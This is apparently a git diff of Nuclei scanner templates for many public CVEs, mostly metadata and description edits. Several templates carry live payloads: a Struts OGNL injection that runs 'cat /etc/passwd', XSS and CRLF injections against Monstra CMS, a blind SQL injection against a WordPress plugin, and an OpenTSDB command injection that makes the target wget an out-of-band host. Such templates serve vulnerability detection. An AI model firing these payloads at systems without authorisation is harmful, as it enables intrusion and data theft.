    - https://github.com/mazen160/struts-pwn
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
    - https://isc.sans.edu/diary/22169
    - https://github.com/rapid7/metasploit-framework/issues/8064
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-5638
    cwe-id: CWE-20
-  tags: apache,kev,msf,cve,cve2017,struts,rce
+  metadata:
+    shodan-query: html:"Apache Struts"
+    verified: "true"
+  tags: cve,cve2017,apache,kev,msf,struts,rce

 requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
-        Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
-        Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
-        Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+        Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#[email protected]@getResponse().getWriter(),#rw.println(#e),#rw.flush())}

+    matchers-condition: and
    matchers:
-      - type: word
-        words:
-          - "X-Hacker: Bounty Plz"
-        part: header
+      - type: regex
+        regex:
+          - "root:.*:0:0:"

-# Enhanced by mp on 2022/04/26
+      - type: status
+        status:
+          - 200
@@ -11,7 +11,7 @@ info:
    - https://pastebin.com/raw/rt7LJvyF
    - https://www.exploit-db.com/exploits/42290/
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-9833
    cwe-id: CWE-22
@@ -0,0 +1,49 @@
+id: CVE-2018-11227
+
+info:
+  name: Monstra CMS V3.0.4 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Monstra CMS 3.0.4 and earlier has XSS via index.php.
+  reference:
+    - https://github.com/monstra-cms/monstra/issues/438
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11227
+    - https://www.exploit-db.com/exploits/44646
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-11227
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.favicon.hash:419828698
+    verified: "true"
+  tags: cve,cve2018,xss,mostra,mostracms,cms,edb
+
+requests:
+  - raw:
+      - |
+        POST /admin/index.php?id=pages HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "><svg/onload=alert(document.domain)>"
+          - "Monstra"
+        condition: and
+        case-insensitive: true
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,63 @@
+id: CVE-2018-11473
+
+info:
+  name: Monstra CMS V3.0.4 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Monstra CMS 3.0.4 has XSS in the registration Form (i.e., the login parameter to users/registration).
+  reference:
+    - https://github.com/monstra-cms/monstra/issues/446
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11473
+    - https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-11473
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.favicon.hash:419828698
+    verified: "true"
+  tags: cve,cve2018,xss,mostra,mostracms,cms
+
+requests:
+  - raw:
+      - |
+        GET /users/registration HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /users/registration HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test&register=Register
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "><script>alert(document.domain)</script>"
+          - "Monstra"
+        condition: and
+        case-insensitive: true
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: csrf
+        part: body
+        group: 1
+        regex:
+          - 'id="csrf" name="csrf" value="(.*)">'
+        internal: true
@@ -0,0 +1,37 @@
+id: CVE-2018-16979
+
+info:
+  name: Monstra CMS V3.0.4 - HTTP Header Injection
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    Monstra CMS V3.0.4 allows HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter.
+  reference:
+    - https://github.com/howchen/howchen/issues/4
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-16979
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-16979
+    cwe-id: CWE-113
+  metadata:
+    verified: "true"
+  tags: cve,cve2018,crlf,mostra,mostracms,cms
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'new line detected in'
+          - 'cryptographp.php'
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -7,9 +7,9 @@ info:
  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
    - https://www.elastic.co/community/security
    - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -41,3 +41,5 @@ requests:
        part: header
        words:
          - "application/json"
+
+# Enhanced by mp on 2023/01/15
@@ -11,7 +11,7 @@ info:
    - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20470
    cwe-id: CWE-22
@@ -10,10 +10,10 @@ info:
    - https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505
    - http://www.openwall.com/lists/oss-security/2019/09/25/3
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
-    cvss-score: 5.4
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 4.3
    cve-id: CVE-2019-10405
-    cwe-id: CWE-79
+    cwe-id: CWE-200
  metadata:
    shodan-query: http.favicon.hash:81586312
  tags: cve,cve2019,jenkins
@@ -1,10 +1,10 @@
 id: CVE-2019-12616

 info:
-  name: phpMyAdmin < 4.9.0 - CSRF
+  name: phpMyAdmin <4.9.0 - Cross-Site Request Forgery
  author: Mohammedsaneem,philippedelteil,daffainfo
  severity: medium
-  description: A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken <img> tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) through the victim.
+  description: phpMyAdmin before 4.9.0 is susceptible to cross-site request forgery. An attacker can utilize a broken <img> tag which points at the victim's phpMyAdmin database, thus leading to potential delivery of a payload, such as a specific INSERT or DELETE statement.
  reference:
    - https://www.phpmyadmin.net/security/PMASA-2019-4/
    - https://www.exploit-db.com/exploits/46982
@@ -50,3 +50,5 @@ requests:
        group: 1
        regex:
          - '\?v=([0-9.]+)'
+
+# Enhanced by md on 2023/01/11
@@ -11,7 +11,7 @@ info:
    - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14322
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-14322
    cwe-id: CWE-22
@@ -1,16 +1,16 @@
 id: CVE-2019-14530

 info:
-  name: OpenEMR < 5.0.2 - Path Traversal
+  name: OpenEMR <5.0.2 - Local File Inclusion
  author: TenBird
  severity: high
  description: |
-    An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
+    OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
  reference:
    - https://www.exploit-db.com/exploits/50037
    - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
    - https://github.com/openemr/openemr/pull/2592
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
@@ -50,3 +50,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -2,9 +2,10 @@ id: CVE-2019-15501

 info:
  name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
-  author: LogicalHunter
+  author: LogicalHunter,arafatansari
  severity: medium
-  description: L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
+  description: |
+    L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
  reference:
    - https://www.exploit-db.com/exploits/47302
    - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
@@ -14,6 +15,9 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2019-15501
    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.html:"LISTSERV"
+    verified: "true"
  tags: cve,cve2019,xss,listserv,edb

 requests:
@@ -24,9 +28,12 @@ requests:
    matchers-condition: and
    matchers:
      - type: word
+        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
-        part: body
+          - 'LISTSERV'
+        condition: and
+        case-insensitive: true

      - type: word
        part: header
@@ -18,7 +18,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: true
-    google-dork: inurl:"/plus/pass_reset.php"
+    google-query: inurl:"/plus/pass_reset.php"
  tags: cve,cve2019,phpMyChat,xss

 requests:
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2019-20933
    cwe-id: CWE-287
  metadata:
-    shodan-dork: InfluxDB
+    shodan-query: InfluxDB
    verified: "true"
  tags: unauth,db,influxdb,misconfig
 requests:
@@ -11,7 +11,7 @@ info:
    - https://extensions.joomla.org/extension/je-messenger/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9922
    cwe-id: CWE-22
@@ -13,13 +13,14 @@ info:
    - https://hackerone.com/reports/1329433
  remediation: This issue can be resolved by updating Grafana to the latest version.
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 5.4
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
    cve-id: CVE-2020-11110
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Grafana"
-  tags: cve2020,xss,grafana,hackerone,cve
+  tags: cve,cve2020,xss,grafana,hackerone
+

 requests:
  - raw:
@@ -4,8 +4,7 @@ info:
  name: SaltStack <=3002 - Shell Injection
  author: dwisiswant0
  severity: critical
-  description: |
-    SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
+  description: SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
  reference:
    - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/
    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
@@ -25,24 +24,18 @@ requests:
    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
    headers:
      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
-
    matchers-condition: and
    matchers:
-      - type: word
-        part: body
-        words:
-          - "An unexpected error occurred"
-
-      - type: dsl
-        dsl:
-          - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body)
-
-      - type: word
-        part: header
-        words:
-          - "application/json"
-
      - type: status
        status:
          - 500
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "An unexpected error occurred"
+        part: body
+
 # Enhanced by mp on 2022/04/27
@@ -0,0 +1,65 @@
+id: CVE-2020-23697
+
+info:
+  name: Monstra CMS V3.0.4 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Cross Site Scripting vulnerability in Monstra CMS 3.0.4 via the 'page' feature in admin/index.php.
+  reference:
+    - https://github.com/monstra-cms/monstra/issues/463
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2020-23697
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
+
+variables:
+  string: "{{to_lower('{{randstr}}')}}"
+
+requests:
+  - raw:
+      - |
+        POST /admin/index.php?id=dashboard HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        login={{username}}&password={{password}}&login_submit=Log+In
+
+      - |
+        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+      - |
+        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
+
+      - |
+        GET /{{string}} HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(all_headers_4, "text/html")'
+          - 'status_code_4 == 200'
+          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: csrf
+        part: body
+        group: 1
+        regex:
+          - 'id="csrf" name="csrf" value="(.*)">'
+        internal: true
@@ -15,7 +15,7 @@ info:
    cve-id: CVE-2020-24902
    cwe-id: CWE-79
  metadata:
-    google-dork: intitle:"My Download Server"
+    google-query: intitle:"My Download Server"
    shodan-query: http.title:"My Download Server"
    verified: "true"
  tags: cve,cve2020,quixplorer,xss
@@ -4,7 +4,8 @@ info:
  name: OpenTSDB <= 2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
-  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
+  description: |
+    OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
@@ -14,29 +15,32 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
+  metadata:
+    verified: true
+    shodan-query: html:"OpenTSDB"
  tags: cve,cve2020,opentsdb,rce,packetstorm

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
+      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
+
    matchers-condition: and
    matchers:
-      - type: status
-        status:
-          - 200

      - type: word
+        part: body
        words:
          - plotted
          - timing
          - cachehit
-        part: body
        condition: and

      - type: word
+        part: header
        words:
          - application/json
-        part: header

-# Enhanced by mp on 2022/04/28
+      - type: status
+        status:
+          - 200
@@ -1,11 +1,11 @@
 id: CVE-2021-20323

 info:
-  name: Keycloak < 18.0.0 - Cross Site Scripting
+  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
  author: ndmalc
  severity: medium
  description: |
-    Keycloak before 18.0.0 and after 10.0.0 allows a reflected XSS on client-registrations endpoint. On POST request, when a request is submitted, the application does not sanitize unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as html. This can be performed on any realm present on the Keycloak instance. Currently, due to the bug requiring Content-Type application/json and is submitted via a POST, there is no common path to exploit that have a user impact.
+    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
@@ -52,3 +52,5 @@ requests:
      - type: status
        status:
          - 400
+
+# Enhanced by md on 2023/01/06
@@ -1,4 +1,4 @@
-id: unpatched-coldfusion
+id: CVE-2021-21087

 info:
  name: Adobe ColdFusion - Remote Code Execution
@@ -1,18 +1,15 @@
 id: CVE-2021-24227

 info:
-  name: Patreon WordPress < 1.7.0 - Unauthenticated Local File Disclosure
+  name: Patreon WordPress  <1.7.0 - Unauthenticated Local File Inclusion
  author: theamanrawat
  severity: high
-  description: The Jetpack Scan team identified a Local File Disclosure vulnerability
-    in the Patreon WordPress plugin before 1.7.0 that could be abused by anyone visiting
-    the site. Using this attack vector, an attacker could leak important internal
-    files like wp-config.php, which contains database credentials and cryptographic
-    keys used in the generation of nonces and cookies.
+  description: Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.
  reference:
    - https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016
    - https://wordpress.org/plugins/patreon-connect/
    - https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -34,3 +31,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2021-24827

 info:
-  name: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
+  name: WordPress Asgaros Forum <1.15.13 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The Asgaros Forum WordPress plugin before 1.15.13 does not validate and escape user input when subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection issue.
+    WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
    - https://wordpress.org/plugins/asgaros-forum/
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -35,3 +35,5 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "asgarosforum")'
        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -0,0 +1,38 @@
+id: CVE-2021-24946
+
+info:
+  name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
+  author: theamanrawat
+  severity: critical
+  description: |
+    WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
+    - https://wordpress.org/plugins/modern-events-calendar-lite/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-24946
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: wordpress,wp-plugin,wp,unauth,wpscan,cve,cve2021,sqli,modern-events-calendar-lite
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200 || status_code == 500'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
+        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -1,11 +1,11 @@
 id: CVE-2021-25099

 info:
-  name: Give < 2.17.3 - Cross-Site Scripting
+  name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
-    The GiveWP WordPress plugin before 2.17.3 does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting.
+    WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
    - https://wordpress.org/plugins/give/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: "true"
-  tags: give,unauth,cve2021,wordpress,wp-plugin,xss,cve,wp,wpscan
+  tags: wp-plugin,wp,give,unauth,wordpress,cve2021,xss,wpscan,cve

 requests:
  - raw:
@@ -36,3 +36,5 @@ requests:
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "give_user_login")'
        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -39,21 +39,17 @@ requests:

    matchers-condition: and
    matchers:
+      - type: regex
+        regex:
+          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+          - "application/x-www-form-urlencoded"
+        condition: or
+
      - type: status
        status:
          - 200
-
-      - type: word
-        words:
-          - "text/html"
-        part: header
-
-      - type: word
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        part: body
-        condition: and
-
-# Enhanced by mp on 2022/07/15
@@ -8,8 +8,6 @@ info:
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
-    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
-    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
  classification:
    cve-id: CVE-2021-32853
  metadata:
@@ -1,11 +1,11 @@
 id: CVE-2021-35380

 info:
-  name: TermTalk Server 3.24.0.2 - Unauthenticated Arbitrary File Read
+  name: TermTalk Server 3.24.0.2 - Local File Inclusion
  author: fxploit
  severity: high
  description: |
-    A Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
+    TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
  reference:
    - https://www.swascan.com/solari-di-udine/
    - https://www.exploit-db.com/exploits/50638
@@ -30,3 +30,5 @@ requests:
          - "fonts"
          - "extensions"
        condition: and
+
+# Enhanced by mp on 2023/01/15
@@ -1,15 +1,16 @@
 id: CVE-2021-40661

 info:
-  name: IND780 - Directory Traversal
+  name: IND780 - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
-    A remote, unauthenticated, directory traversal vulnerability was identified within the web interface used by IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10'). It was possible to traverse the folders of the affected host by providing a traversal path to the 'webpage' parameter in AutoCE.ini This could allow a remote unauthenticated adversary to access additional files on the affected system. This could also allow the adversary to perform further enumeration against the affected host to identify the versions of the systems in use, in order to launch further attacks in future.
+    IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.
  reference:
    - https://sidsecure.au/blog/cve-2021-40661/?_sm_pdc=1&_sm_rid=MRRqb4KBDnjBMJk24b40LMS3SKqPMqb4KVn32Kr
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40661
    - https://www.mt.com/au/en/home/products/Industrial_Weighing_Solutions/Terminals-and-Controllers/terminals-bench-floor-scales/advanced-bench-floor-applications/IND780/IND780_.html#overviewpm
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-40661
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -38,3 +39,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -15,7 +15,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2021-40859
  metadata:
-    fofa-dork: '"auerswald"'
+    fofa-query: '"auerswald"'
  tags: cve,cve2021,iot,unauth,voip,auerswald

 requests:
@@ -29,7 +29,7 @@ requests:
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

-        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("Â{{VSÂ}}")}}&__VIEWSTATEGENERATOR={{url_encode("Â{{VSGÂ}}")}}&__EVENTVALIDATION={{url_encode("Â{{EVÂ}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
